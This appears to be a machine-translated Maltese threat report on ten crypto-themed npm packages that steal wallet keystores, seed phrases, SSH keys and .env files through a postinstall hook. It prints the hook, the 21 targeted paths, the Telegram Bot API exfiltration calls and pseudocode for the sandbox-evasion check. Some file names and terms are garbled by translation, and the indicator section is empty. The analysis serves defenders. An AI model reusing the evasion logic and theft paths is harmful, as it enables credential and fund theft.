TL; DR
Fid-9 ta' Ġunju 2026 kont wieħed ta' pubblikatur npm, aicrypto-xzggg, mibgħuta għaxar pakketti b'ismijiet bit-togħma tal-kripto u tal-Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, u sitta oħra.
Kull pakkett juża l-istess payload minn a postinstall hook. Mal-installazzjoni, jiċċekkja jekk hux qed jaħdem ġewwa CI jew sandbox — jekk le, jaqra l-keystores tal-kartieri, il-fajls tas-seed-phrase, iċ-ċwievet SSH, u .env fajls minn sitt ekosistemi tal-blockchain u jittrażmettihom lil bot tat-Telegram.
L-uniku indikatur li difensur jista' jfittex immedjatament huwa l-ID tal-bot ta' Telegram. 8227918239.
Severità: kritika — serq dirett ta’ ċwievet tal-iffirmar u frażijiet ta’ rkupru minn workstations tal-iżviluppaturi.
L-Attakk: Kif Jaħdem
Il-pakketti jirreklamaw lilhom infushom bħala utilitajiet għall-iżviluppaturi tal-blockchain. package.json huwa minimu u jindika ċ-ċiklu tal-ħajja tal-installazzjoni lejn skript:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }skripts/postinstallazzjoni.js huwa shim ta' linja waħda li jgħabbi l-payload reali: teħtieġ("../src/index.js"). Minħabba wara l-installazzjoni jaħdem awtomatikament waqt npm jinstallaw, l-ebda importazzjoni ta' kodiċi mill-iżviluppatur mhija meħtieġa — it-tqegħid tal-pakkett f'siġra tad-dipendenza huwa biżżejjed biex jiġi esegwit.
Il-katina tal-qtil ġewwa src/index.js huwa erba' passi:
- Kontroll tal-ambjent. Funzjoni ta' gwardja tiddeċiedi jekk il-host jidhirx bħal aġent tal-bini jew sandbox tal-analiżi.
- Dewmien. L-eżekuzzjoni hija posposta wara setTimeout ta' madwar 7.4 sekondi.
- Ġbir. Lista fissa ta' mogħdijiet ta' fajls tal-kartieri, ċwievet, u sigrieti tiġi mgħoddija; il-fajls eżistenti jitqiegħdu fil-kju.
- Esfiltrazzjoni. Il-fajls fil-kju jintbagħtu lil bot ta' Telegram, preċeduti minn messaġġ sommarju.
Il-lista fil-mira tal-kollezzjoni tkopri sitt ktajjen flimkien ma' sigrieti ġeneriċi tal-iżviluppaturi. Imnaddaf:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localWieħed u għoxrin mogħdija b'kollox. Entrati tad-direttorju bħal ~/.ethereum/maħżen taċ-ċwievet huma estiżi u kull fajl ġewwa jitqiegħed fil-kju. L-esfiltrazzjoni tuża t-Telegram Bot API direttament — a ibgħatMessaġġ sejħa b'sommarju ta' host u fajl, imbagħad ibgħatDokument upload b'ħafna partijiet għal kull fajl:
test
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)Il-messaġġ sommarju li jiġbor il-kodiċi jibda bis-sekwenza litterali SERQAL TAL-KRIPTO, segwit mill-isem tal-host, l-isem tal-utent, l-isem tal-pakkett tal-oriġini, l-għadd tal-fajls, u t-timestamp.
X'hemm ġdid hawn
Id-differenzjatur mhuwiex il-mekkaniżmu tas-serq — exfil ibbażat fuq Telegram minn npm wara l-installazzjoni hooks huwa mimsus sew. Huwa l- bieb tal-eżekuzzjoni. Qabel ma tagħmel xi ħaġa, il-payload isejjaħ funzjoni li tirritorna "true" meta l-host jixbah lil CI runner jew sandbox, u tirritorna kmieni meta jkun hekk:
test
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)Ir-regex tal-container-id hija l-klawżola notevoli: isem tal-host ta' 12-il karattru eżagonali huwa l-forma awtomatika li Docker jassenja lil kontenitur, għalhekk il-payload tittratta "l-isem tal-host tiegħi jidher qisu kontenitur Docker" bħala raġuni biex tibqa' rieqed. Flimkien mad-dewmien ta' seba' sekondi, id-disinn jiffavorixxi t-tħaddim fuq il-workstation reali ta' żviluppatur u jibqa' kwiet kullimkien li jidher qisu analiżi awtomatizzata. Dak il-bieb huwa dak li rażżan is-sinjali tal-analiżi dinamika u żammet il-fluss statiku tal-esfil bħala l-evidenza primarja tal-konvinzjoni.
Kronoloġija
L-għaxra kollha ħarġu f'madwar sebgħin minuta, konsistenti ma' ġirja waħda ta' pubblikazzjoni skrittata minn kont wieħed.
Indikaturi ta' Kompromess
Indikaturi tan-netwerk u tal-imġieba (host defanged):
Pakketti u verżjonijiet, kull wieħed bl-SHA-256 tiegħu src/index.js payload (il-payloads huma funzjonalment identiċi u jvarjaw biss fit-tikketta tal-isem tal-pakkett inkorporata, għalhekk kull hash huwa distint):
Mistoqsija sempliċi ta' kaċċa: fittex install logs u lockfiles għal kwalunkwe wieħed mill-għaxar ismijiet, u fittex traffiku 'l barra għal konnessjonijiet mat-Telegram Bot API minn build hosts jew developer hosts li altrimenti ma jużawhiex.
Attribuzzjoni u Imġieba Osservata
L-għaxar pakketti kollha ġew ippubblikati minn kont wieħed, aicrypto-xzggg, li l-email iddikjarata tiegħu hija vipsyria88@gmail[.]comKemm l-email kif ukoll il-link tal-kontroll tas-sors mhumiex verifikati fil-metadata tar-reġistru, u l-kont għandu punteġġ ta' reputazzjoni negattiv ħafna. Ma kkonfermajniex min jopera l-kont.
Żewġ dettalji jistħoqqilhom li jiġu separati minn kwalunkwe talba ta' identità. L-ewwel, il- package.json awtur qari tal-qasam Alex Smith fuq kull pakkett, filwaqt li l-kont tal-pubblikazzjoni attwali huwa aicrypto-xzggg; il-qasam tal-awtur huwa metadata awtodikjarata u ma jistabbilixxix l-awtur. It-tieni, in-numri tal-verżjoni jvarjaw ħafna — xi membri joqogħdu fuq 1.0.0, oħrajn fi 4.68.54 — li huwa konsistenti mal-użu mill-ġdid ta' payload wieħed f'ismijiet ta' pakketti ġodda minflok ma jinżammu l-istorji tar-rilaxxi reali.
L-imġiba hija uniformi fil-klaster kollu: l-istess lista ta' mogħdijiet fil-mira, l-istess id tal-bot ta' Telegram u l-id taċ-chat, l-istess bieb tal-ambjent, l-istess SERQAL TAL-KRIPTO markatur. Dik l-uniformità hija l-aktar rabta b'saħħitha bejn il-pakketti. Huwa sinjal tal-istess operatur, mhux identità.
Impatt, Xejriet u Gwida għad-Difensuri
L-espożizzjoni hija konkreta. Żviluppatur li jinstalla kwalunkwe minn dawn il-pakketti fuq workstation li żżomm software wallet, fajl seed-phrase, jew SSH key ikollu dawk il-fajls jinqraw u jiġu trażmessi mill-host fi ftit sekondi. Il-frażijiet ta' rkupru u ċ-ċwievet tal-iffirmar ma jiskadux bil-mod kif jagħmel session token; ladarba mnemoniku.txt jew Solana id.json titlaq mill-magna, il-fondi li tikkontrolla jkunu f'riskju sakemm jiġu mċaqalqa. L-istess ġirja taqbad ukoll .a V fajls, li normalment iġorru ċwievet tal-API u kredenzjali tad-database.
Żewġ xejriet jinsabu wara dan il-grupp. L-ewwel waħda hija l-użu kontinwu ta' ismijiet bit-tema tal-kripto u tal-Web3 biex jattiraw udjenza speċifika — żviluppaturi li jżommu l-kartieri u ċ-ċwievet fuq l-istess magna li jinstallaw id-dipendenzi fuqha. It-tieni waħda hija l-maturazzjoni tal-evażjoni tas-sandbox fil-payloads tal-ħin tal-installazzjoni. Bieb li jivverifika l-varjabbli tal-ambjent tas-CI, l-usernames tar-runner, u l-forma tal-hostname tal-ID tal-kontenitur Docker huwa sforz intenzjonat biex iġib ruħu b'mod differenti taħt analiżi milli fuq workstation reali, u jgħolli l-livell għal skoperta purament dinamika.
Għad-difensuri:
Installa bl-iskripts diżattivati awtomatikament. npm install –ignore-scripts, jew sett injora-skripts=veru in .npmrc, jipprevjeni wara l-installazzjoni eżekuzzjoni; ippermetti skripts biss għad-dipendenzi speċifiċi li ġenwinament jeħtiġuhom.
Żomm il-kartieri u ċ-ċwievet tal-iffirmar 'il bogħod mill-magni tal-bini u tal-iżvilupp. Uża kartiera tal-ħardwer jew host tal-iffirmar dedikat u ħieles mid-dipendenza.
Ittratta .a V, keystores, u fajls seed-phrase bħala ġojjelli tal-kuruna. Qatt m'għandhom joqogħdu f'direttorju li huwa wkoll npm jinstallaw siġra tax-xogħol.
Fittex għal konnessjonijiet 'il barra lejn it-Telegram Bot API minn CI u hosts tal-iżviluppaturi. Il-biċċa l-kbira tal-ambjenti tal-bini qatt ma jsejħuha; waħda li f'daqqa waħda tagħmel dan, eżatt wara installazzjoni, ta' min jinvestigaha.
Pin u rrevedi d-dipendenzi. Pakkett ġdid fjamant b'isem ġeneriku tal-kripto, a wara l-installazzjoni hook, u l-ebda link ta' repożitorju ma jiġġustifika ħarsa qabel ma jidħol f'lockfile.
Il-klawżola tal-evażjoni tal-ID tal-kontejner hija wkoll tfakkira għall-analisti: payload fil-ħin tal-installazzjoni li jibqa' rieqed f'sandbox mhuwiex beninni, huwa selettiv. Ir-reviżjoni statika tal-mogħdija tal-installazzjoni tibqa' l-mod affidabbli biex tara x'tista' tirrifjuta li turi l-eżekuzzjoni dinamika.
Referenzi
dokumentazzjoni tal-installazzjoni tal-npm — skripts taċ-ċiklu tal-ħajja u –jinjora-skripts— referenza għad-diżattivazzjoni tal-installazzjoni awtomatika hooks.
